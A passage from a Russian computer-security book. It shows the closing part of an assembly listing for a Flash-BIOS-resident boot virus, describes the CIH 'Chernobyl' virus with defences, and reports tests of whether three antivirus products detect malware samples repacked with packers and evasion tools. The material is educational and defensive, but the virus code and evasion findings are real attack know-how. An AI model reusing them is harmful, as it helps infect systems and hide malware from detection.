Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров
flash_done db 0
; Наш обработчик INT 19h.
int19Handler Proc Near
; Установим сегментный регистр ES в ноль
хог ах, ах
mov es, ax
; Проверим наличие резидентного вируса
mov ax, 0ABBAh
int 13h
; Если вирус присутствует, то запускаем оригинальный
; обработчик прерывания INT 19h
cmp ax, 0BAABh
jne real_int19h
; Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
cld
xor si, si
mov di, 7c00h
mov cx,512
rep movsb
; 3апустим вирус в boot-буфере
mov dl, 80h
jmp goto_Buffer
real_int19h:
; Произведем сброс дисковой подсистемы
xor ax, ax
int 13h
; Проинициализируем значения регистров для загрузки boot-сектора
mov cx, 1
mov dh, 0
mov ax, 0201h
mov bx, 7C00h
; Проверим, откуда грузимся: если DL не нулевой,
; переходим к загрузке с жесткого диска
cmp dl, 0
ja hd_int19h
; Прочтем boot-сектор с дискеты. Если при чтении происходит
; ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
; Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7C00h+offset flash_done], 1
; 3апустим boot-сектор, находящийся в boot-буфере
db 0EAh ; Код команды JMP FAR
dw 7c00h
dw 0 Fix_HD:
; Установим номер диска для загрузки (диск С)
mov dl, 80h
HD_int19h:
; Произведем сброс дисковой подсистемы
хог ах, ах
int 13h ;
Прочтем boot-сектор
mov ax, 0201h
int 13h
jc Boot
jmp Goto_Buffer ;
Если не удалось загрузить boot-сектор,
; вызываем прерывание INT 18h
Boot:
int 18h
int19Handler EndP
Flash_BIOS EndP
End_Virus:
; Размер области памяти, необходимый для дополнения
; размера вируса до 510 байт
DupSize equ 510-offset End_Virus
; Заполнение не занятой вирусом части сектора
db DupSize dup (0)
db 55h, 0aah
Можно ли вышеописанный или подобный ему код назвать космополитом, встречающимся в "диком виде"? Да, вполне. В качестве яркого примера, иллюстрирующего, насколько умело можно манипулировать с BIOS, уместно привести оригинальное описание знаменитого "Чернобыля" (www.virusList.com).
Virus.Win9x.CIH также известен как «Чернобыль». Это резидентный вирус, работающий исключительно под операционными системами Windows 95/98. Длина вируса около 1 Кбайт. Впервые был обнаружен на Тайване в 1998 году. Избирательно перепрошивает BIOS: для заражения подходят только некоторые типы материнских плат, к тому же в настройках BIOS не должно быть установлено чтение только. После перепрошивки BIOS вирус приступает к винчестеру, а точнее, уничтожает все его содержимое. При этом вирус использует прямой доступ к диску, обходя тем самым стандартную антивирусную защиту от записи в загрузочные сектора.
Возможные варианты защиты (плюс такие классические варианты, как установка последней версии антивирусной программы с новыми базами):
♦ настройка BIOS, контроль режима чтение только;
♦ контроль критических областей с помощью специализированных утилит типа ADINF32.
Возможные варианты лечения:
♦ удаление вируса и его записей с помощью вакцин типа "АнтиЧернобыль" и т. п.;
♦ радикальный метод – перепрошивка BIOS/замена микросхем.
5.4. Как работает эвристический анализатор кода и почему даже два антивируса в системе могут стать бесполезными
В рамках данного раздела мы попытаемся выяснить, действительно ли даже три антивируса могут дать сбой в поимке «хитрого» кода, и как с этим связано такое качество антивирусного продукта, как эвристика. В роли испытуемых антивирусов были выбраны следующие популярные продукты:
♦ "Антивирус Касперского";
♦ ESET NOD32;
♦ Vba32 ("ВирусБлокАда").
ПРИМЕЧАНИЕ
В данном тесте мы акцентируем особое внимание на антивирусном продукте Vba32. Это белорусский антивирус, включающий в себя достаточно оригинальный эвристический модуль, в основе которого стоит запатентованная технология "MalwareScopeTM".
Методология проведения теста
Напомним, что качество эвристики определяется способностью антивируса распознавать модифицированный вредоносный код. Фактически, эвристика предполагает обнаружение вируса, которого нет в базах: по специальным алгоритмам и некоторым признакам антивирус сам должен «домыслить», что проверяемый код является вирусным. Как вы уже поняли, задача не из легких.
Для наибольшей объективности теста мы возьмем максимально широкий перечень инструментов, применяемых в подобных случаях. Помимо упаковщиков, генераторов вирусов и утилит для обфускации, мы включим в наш тест самописный вирус, а также воспользуемся полиморфным образцом Virus.Win32.Zombie, который известен оригинальной технологией декриптования для обхода эвристических анализаторов.
Подобная методология, включающая комплексное тестирование, широко применяется в сертифицированных тестовых лабораториях и позволяет минимизировать возможные погрешности, сделав результат теста максимально объективным.
"Свежесть" баз всех трех антивирусов одинакова. Уровень настроек эвристики во всех трех случаях аналогичен и приравнен к средним.
Итак, пожалуй, начнем.
Тест № 1
Для проведения первого теста были использованы случайным образом отобранные из коллекции (579 штук) четыре экземпляра вредоносного кода:
♦ TrojanDownloader.13547;
♦ Backdoor. Win32Optix.b;
♦ Trojan-Win32PSW.QQRob.16;
♦ Trojan-Win32PSW.QQShou.EH.
Каждый экземпляр был пропущен через PeStubOEP (программа предназначена для защиты EXE-файлов от определения их компилятора/упаковщика). Результаты проверки следующие ("+" – распознан; "-" – не распознан). Итак (результаты на рис. 5.3).
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+".
Рис. 5.3. TrojanDownloader.13547 был успешно найден
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.4).
Рис. 5.4. Backdoor.Win32Optix.b – «крепкие орешки» еще впереди!
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.5).
Рис. 5.5. Наш антивирус пока на высоте
Trojan-Win32PSW.QQShou.EH оказался крепким орешком, и Vba32 определил его, только после того как были установлены максимальные настройки:
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.6, 5.7).
ПРИМЕЧАНИЕ
Один из экземпляров вредоносного кода (Trojan-Win32PSW.QQShou.EH) Vba32 был определен как Trojan-Spy.Delf.13.
Как видите, некоторые из экземпляров вредоносного кода могут быть обнаружены только с максимальными настройками, и совсем не факт, что антивирус расскажет вам всю правду.
Рис. 5.6. Экспертный анализ – максимален!
Рис. 5.7. Похож на Spy-Delf…
Используем следующую партию экземпляров, случайно отобранных из коллекции:
♦ Trojan.Spambot;
♦ OS.cope.Worm.UK.Nuwar;
♦ Trojan-Proxy.WIN32.Lager.aq.
Два троянских коня и червь были запакованы Tibs. Проверяем:
♦ Nod32 2.7 "-";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.8).
Рис. 5.8. Результат проверки – Trojan.Spambot!
ПРИМЕЧАНИЕ
Как видите, здесь нас немного огорчил NOD32. Но не будем забывать, что даже качественно проработанный движок несовершенен.
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.9).
Рис. 5.9. Самый настоящий червь!
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.10).
Рис. 5.10. Прокси-троян у нас под колпаком
Продолжаем наши эксперименты. Теперь возьмем три различных вируса и наобум запакуем их тремя различными упаковщиками. Троянского коня упаковываем NsAnti. Результаты:
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.11).
Рис. 5.11. На ловца и зверь бежит!
Теперь Trojan-Spy.Win32.AimSpy запакуем SkD Undetectabler Pro 2 SkDPRO. Результаты:
♦ Nod32 2.7 "-";
♦ "Антивирус Касперского 6.0" "-";
♦ Vba32 "-".
ПРИМЕЧАНИЕ
Ну вот, собственно, и настал момент истины. Заметьте, что ни один из наших антивирусных продуктов не смог обнаружить запакованный SkD Undetectabler Pro 2 SkDPRO троянский конь – SkD Undetectabler Pro 2 SkDPRO!
Едем дальше. Trojan.Mezzia пакуем Zipworx SecureEXE. Результаты:
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.12).
Рис. 5.12.Vba не спит
Тест № 2
Тест включает в себя упаковку одного вируса несколькими упаковщиками. В качестве «зло-кода» был использован известный Virus.Win32.Neshta.b. Итак, результаты.
Пропускаем нашего "нечто" через WinUpack:
♦ Nod32 2.7 "-";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.13).
Рис. 5.13. Neshta – не уйдет! Пропускаем Neshta через Arm Protector ver.01:
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "-" (рис. 5.14).
Рис. 5.14. Vba32 не видит наше «нечто»
Пропускаем "нечто" через FSG. Результаты:
♦ Nod32 2.7 "+";
♦ "Антивирус Касперского 6.0" "+";
♦ Vba32 "+" (рис. 5.15).
Рис. 5.15. И опять наш антивирус на высоте
ПРИМЕЧАНИЕ
Как видите, в этом тесте Vba32 не смог обнаружить "нечто", запакованного Arm Protector ver.01. Nod32 совсем не распознал Neshta, запакованного WinUpack. Вывод: совершенной эвристики нет – к ней лишь можно стремиться.
Тест № 3
В данном тесте был использован генератор вирусов APOKALIPSES. Из десяти сгенерированных экземпляров Vba32 обнаружил 8, Nod32 2.7 – 9, «Антивирус Касперского 6.0» обнаружил все.